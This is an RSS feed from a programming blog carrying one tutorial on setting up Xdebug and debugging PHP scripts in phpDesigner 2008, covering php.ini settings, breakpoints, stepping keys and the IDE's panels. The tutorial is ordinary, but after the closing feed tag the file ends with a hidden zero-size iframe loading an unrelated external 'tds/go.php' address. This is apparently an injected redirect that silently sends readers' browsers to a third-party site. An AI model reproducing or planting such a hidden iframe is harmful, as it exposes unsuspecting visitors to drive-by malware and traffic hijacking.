<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>dijexi.com &#187; remote debug</title>
	<atom:link href="http://www.dijexi.com/tag/remote-debug/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.dijexi.com</link>
	<description>free programming tutorial, tips and tricks on php, codeigniter, delphi, dotnet, ajax and more..</description>
	<lastBuildDate>Fri, 13 Jan 2012 23:21:06 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
<atom:link rel="hub" href="http://pubsubhubbub.appspot.com"/><atom:link rel="hub" href="http://superfeedr.com/hubbub"/>		<item>
		<title>How to Debug PHP Program Remotely using phpDesigner 2008</title>
		<link>http://www.dijexi.com/2009/08/how-to-debug-php-program-remotely-using-phpdesigner-2008/</link>
		<comments>http://www.dijexi.com/2009/08/how-to-debug-php-program-remotely-using-phpdesigner-2008/#comments</comments>
		<pubDate>Fri, 07 Aug 2009 13:11:25 +0000</pubDate>
		<dc:creator>akhmad daniel sembiring</dc:creator>
				<category><![CDATA[CodeIgniter]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[php debug]]></category>
		<category><![CDATA[phpdesigner]]></category>
		<category><![CDATA[remote debug]]></category>

		<guid isPermaLink="false">http://www.dijexi.com/2009/08/how-to-debug-php-program-remotely-using-phpdesigner-2008/</guid>
		<description><![CDATA[Debugging is a methodical process of finding and reducing the number of bugs, or defects, in a computer program thus making it behave as expected. PHP has an extension that allows us to debug PHP scripts in live manner, called Xdebug. This article explains how to use and configure Xdebug within phpDesigner IDE from MPSOFTWARE. [...]]]></description>
			<content:encoded><![CDATA[<!--INFOLINKS_ON--><p><a class="zem_slink" title="Debugging" href="http://en.wikipedia.org/wiki/Debugging" rel="wikipedia">Debugging</a> is a methodical process of finding and reducing the number of bugs, or defects, in a computer program thus making it behave as expected. <a class="zem_slink" title="PHP" href="http://php.net/" rel="homepage">PHP</a> has an extension that allows us to debug PHP scripts in live manner, called Xdebug. This article explains how to use and configure Xdebug within phpDesigner <a class="zem_slink" title="Integrated development environment" href="http://en.wikipedia.org/wiki/Integrated_development_environment" rel="wikipedia">IDE</a> from <a href="http://www.mpsoftware.dk/">MPSOFTWARE</a>. Debugging with Xdebug allows the programmer to analyze, evaluate and find errors in the code line by line.</p>
<p> <span id="more-1117"></span><br />
<h2>Configuration</h2>
<p>In order to use Xdebug you must have PHP installed local on your computer configured with the Xdebug extesion. </p>
<p>By default, phpDesigner 2008 is installed with PHP and Xdebug configured otherwise please follow these steps: </p>
<ol>
<li>Download the latest PHP 5.x.x. package (not the installer) from <a href="http://www.php.net/">http://www.php.net</a> or use <a class="zem_slink" title="XAMPP" href="http://www.apachefriends.org/en/xampp.html" rel="homepage">XAMPP</a> for easier PHP, Apache, and <a class="zem_slink" title="MySQL" href="http://www.mysql.com/" rel="homepage">MySQL</a> installation </li>
<li>Download the Xdebug extension for the PHP version you have installed in the previous step from <a href="http://www.xdebug.com/">http://www.xdebug.com</a>. For example if you have PHP 5.2.1 installed, you need Xdebug 5.2.1 </li>
<li>Place the Xdebug extension in the extension folder where you installed PHP, for example c:\&#8230;\PHP\ext </li>
<li>In the folder where you installed PHP, open php.ini. there is no such file, locate php.ini-dist and rename it to php.ini. If you are using XAMPP, the file is located on c:\xampp\php\php.ini or C:\xampp\apache\bin\php.ini </li>
<li>Add the following line to php.ini in the [Zend] section:     <br /><strong>zend_extension_ts = &quot;./ext/php_xdebug.dll&quot;       <br />xdebug.remote_enable=on        <br />xdebug.profiler_enable_trigger=on</strong></li>
</ol>
<p>Configure phpDesigner 2008 to know where to find the PHP interpreter (php.exe, win-php.exe or php-cgi.exe). </p>
<ol>
<li>On the Tools menu, point to Preferences </li>
<li>Select Debugger </li>
<li>In the field &#8216;PHP&#8217; type in the path for the PHP interpreter (.exe), or click the Browse button to locate the PHP interpreter</li>
</ol>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/08/PHPDebugwithxdebugconfigurationinphpDesigner.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="PHP Debug with xdebug configuration in phpDesigner" border="0" alt="PHP Debug with xdebug configuration in phpDesigner" src="http://www.dijexi.com/wp-content/uploads/2009/08/PHPDebugwithxdebugconfigurationinphpDesigner_thumb.png" width="504" height="375" /></a> </p>
<p>Optionally if you run your apache <a class="zem_slink" title="Web server" href="http://en.wikipedia.org/wiki/Web_server" rel="wikipedia">web server</a> on other port than 80, then you should set the Localhost section on the Debugger:</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/08/PHPDebugwithxdebughostconfigurationinphpDesigner.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="PHP Debug with xdebug host configuration in phpDesigner" border="0" alt="PHP Debug with xdebug host configuration in phpDesigner" src="http://www.dijexi.com/wp-content/uploads/2009/08/PHPDebugwithxdebughostconfigurationinphpDesigner_thumb.png" width="504" height="373" /></a> </p>
<p>Set the Server path to localhost or any hostname that you want to debug on and the Port that the server is running on. The default value is 80.</p>
<h2>Start Debugging Sessions</h2>
<p>Before you can start a debug session, the Xdebug server must be started. You can start, restart or stop the Xdebug server on the Debug menu, select Xdebug IDE server. </p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/08/PHPeditorstartxdebugserver.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="PHP editor start xdebug server" border="0" alt="PHP editor start xdebug server" src="http://www.dijexi.com/wp-content/uploads/2009/08/PHPeditorstartxdebugserver_thumb.png" width="504" height="266" /></a> </p>
<p>Now you can begin debugging your script. Place a <a class="zem_slink" title="Breakpoint" href="http://en.wikipedia.org/wiki/Breakpoint" rel="wikipedia">breakpoint</a> on a script that you wish to debug. This is done by placing the cursor on the correct line on the file. Then select menu Debug – Toggle breakpoint or pressing F5 button on your keyboard. A red line will appear on the line. </p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/08/PHPdebugsettingbreakpointonaline.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="PHP debug setting breakpoint on a line" border="0" alt="PHP debug setting breakpoint on a line" src="http://www.dijexi.com/wp-content/uploads/2009/08/PHPdebugsettingbreakpointonaline_thumb.png" width="504" height="321" /></a> </p>
<p>Then, start a debug session from within the IDE or from the web <a class="zem_slink" title="Web browser" href="http://en.wikipedia.org/wiki/Web_browser" rel="wikipedia">browser</a> and execute your script until the first breakpoint or error occurs. Select a main script file of your project, especially when you have a large project that consists of many files included in the main script file. This file is usually index.php. To start a debugging session, press F9 key. Your script will be suspended if there’s a line with breakpoint. From that line, you can: </p>
<ol>
<li>step to the next line by pressing F8 key </li>
<li>step inside a function if the line with breakpoint is a function call by pressing F7 </li>
<li>continue running the program by pressing F9 key</li>
</ol>
<p>When the execution is suspending, you can view the content and type of a variable by placing your <a class="zem_slink" title="Cursor (computers)" href="http://en.wikipedia.org/wiki/Cursor_%28computers%29" rel="wikipedia">mouse pointer</a> over that variable.</p>
<p> <em>
</p>
<p>   <a href="http://www.dijexi.com/wp-content/uploads/2009/08/PHPdebuggininaction.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="PHP debuggin in action" border="0" alt="PHP debuggin in action" src="http://www.dijexi.com/wp-content/uploads/2009/08/PHPdebuggininaction_thumb.png" width="504" height="337" /></a> </em>
<p>You can also press <a class="zem_slink" title="Function key" href="http://en.wikipedia.org/wiki/Function_key" rel="wikipedia">F4 key</a> that will start the debug session as in Run but will pause the execution until the line at cursor is reached. If any breakpoints or errors occurs before the line at cursor is reached the execution might be paused.</p>
<p>You may also press Shift-F8 key that will start the debug session as in Run but will pause when pressing the return key. If any breakpoints or errors occurs before the line at cursor is reached the execution might be paused. </p>
<p>To start a debug session from the web browser, execute the script you want to debug in the web browser. phpDesigner 2008 will break at the breakpoints you have set for that script or if any errors occours. </p>
<p>To trace the course of the executions in your script throughout the debugging session, use Call Stack panel. On the View menu, click Tool Panels and select Call stack. </p>
<p>To display the value of all global and local variables throughout the debugging session, use Variable panel. On the View menu, click Tool Panels and select Variables. </p>
<p>To monitor variables, objects, properties etc. throughout the debugging session use Watches panel. Monitored variables should start with a &quot;$&quot; (dollar sign). On the View menu, click Tool Panels and select Watches. </p>
<p>To evaluate and test expressions in your script use move the cursor upon variables to see their values. You can manipulate variables directly during a debugging session. Manipulated or injected variables will affect the value of the variable when the execution of the script continues. On the View menu, click Tool Panels and select Evaluation. </p>
<p>Messages that Xdebug sends to phpDesigner debug Log panel. On the View menu, click Tool Panels and select Log. </p>
</p>
</p>
</p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:958ce4d8-f4b1-418b-b31a-b901ccd65e77" class="wlWriterEditableSmartContent">Technorati Tags: <a href="http://technorati.com/tags/php+debug" rel="tag">php debug</a>,<a href="http://technorati.com/tags/phpdesigner" rel="tag">phpdesigner</a>,<a href="http://technorati.com/tags/remote+debug" rel="tag">remote debug</a></div>
</p>
</p>
</p>
</p>
</p>
<div class="zemanta-related">
<h6 style="font-size: 1em" class="zemanta-related-title">Related articles by Zemanta</h6>
<ul class="zemanta-article-ul">
<li class="zemanta-article-ul-li"><a href="http://chris.pirillo.com/tips-for-programming-and-php/">Tips for Programming and PHP</a> (chris.pirillo.com) </li>
<li class="zemanta-article-ul-li"><a href="http://www.downes.ca/cgi-bin/page.cgi?post=49564">Xampp</a> (downes.ca) </li>
<li class="zemanta-article-ul-li"><a href="http://www.killerstartups.com/Web-App-Tools/phpanywhere-net-coding-wherever-you-are">PHPAnywhere.net &#8211; Coding Wherever You Are</a> (killerstartups.com) </li>
<li class="zemanta-article-ul-li"><a href="http://www.ghacks.net/2009/03/28/home-web-server/">Run Your Own Home Web Server</a> (ghacks.net) </li>
<li class="zemanta-article-ul-li"><a href="http://www.slumpedoverkeyboarddead.com/2009/07/28/installing-apache2-with-php5-and-mysql-support-on-ubuntu-9-04-lamp/">Installing Apache2 With PHP5 And MySQL Support On Ubuntu 9.04 (LAMP)</a> (slumpedoverkeyboarddead.com) </li>
<li class="zemanta-article-ul-li"><a href="http://creativetechs.com/tipsblog/easily-test-php-or-mysql-websites-on-your-mac/">Easily test PHP or MySQL Websites on your Mac.</a> (creativetechs.com) </li>
<li class="zemanta-article-ul-li"><a href="http://ajaxian.com/archives/firephp-tying-together-firebug-and-php">FirePHP: Tying together Firebug and PHP</a> (ajaxian.com)</li>
<li class="zemanta-article-ul-li"><a href="http://www.nofluffjuststuff.com/blog/cal_evans/2009/07/xampp_php_5_3_pear_and_phar_what_a_mess_.html?utm_source=blogitem&amp;utm_medium=rss&amp;utm_campaign=blogrss">XAMPP, PHP 5.3, PEAR, and PHAR (what a mess)</a> (nofluffjuststuff.com)</li>
</ul></div>
</p>
<div style="margin-top: 10px; height: 15px" class="zemanta-pixie"><a class="zemanta-pixie-a" title="Reblog this post [with Zemanta]" href="http://reblog.zemanta.com/zemified/a4456060-c178-4796-9ae7-e01bd462686a/"><img style="border-bottom-style: none; border-right-style: none; border-top-style: none; float: right; border-left-style: none" class="zemanta-pixie-img" alt="Reblog this post [with Zemanta]" src="http://img.zemanta.com/reblog_e.png?x-id=a4456060-c178-4796-9ae7-e01bd462686a" /></a></div>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://www.dijexi.com/2009/06/tutorial-cara-debug-program-dan-menggunakan-help/" rel="bookmark">11. Debug dan Menggunakan Help</a></li><li><a href="http://www.dijexi.com/2010/05/setup-kannel-sms-gateway-on-ubuntu/" rel="bookmark">Setup Kannel SMS Gateway on Ubuntu</a></li><li><a href="http://www.dijexi.com/2008/04/me-restore-database-postgresql-dari-windows-ke-linux/" rel="bookmark">Me-Restore database PostgreSQL dari Windows ke Linux</a></li><li><a href="http://www.dijexi.com/2009/07/list-of-free-downloadable-wordpress-themes/" rel="bookmark">List of Free Downloadable WordPress Themes</a></li><li><a href="http://www.dijexi.com/2009/06/joomla-1-5-mengganti-judul-welcome-to-the-frontpage/" rel="bookmark">Joomla 1.5: Mengganti Judul Welcome to the Frontpage</a></li></ul></div><!--INFOLINKS_OFF--><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.dijexi.com%2F2009%2F08%2Fhow-to-debug-php-program-remotely-using-phpdesigner-2008%2F&amp;linkname=How%20to%20Debug%20PHP%20Program%20Remotely%20using%20phpDesigner%202008"><img src="http://www.dijexi.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.dijexi.com/2009/08/how-to-debug-php-program-remotely-using-phpdesigner-2008/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
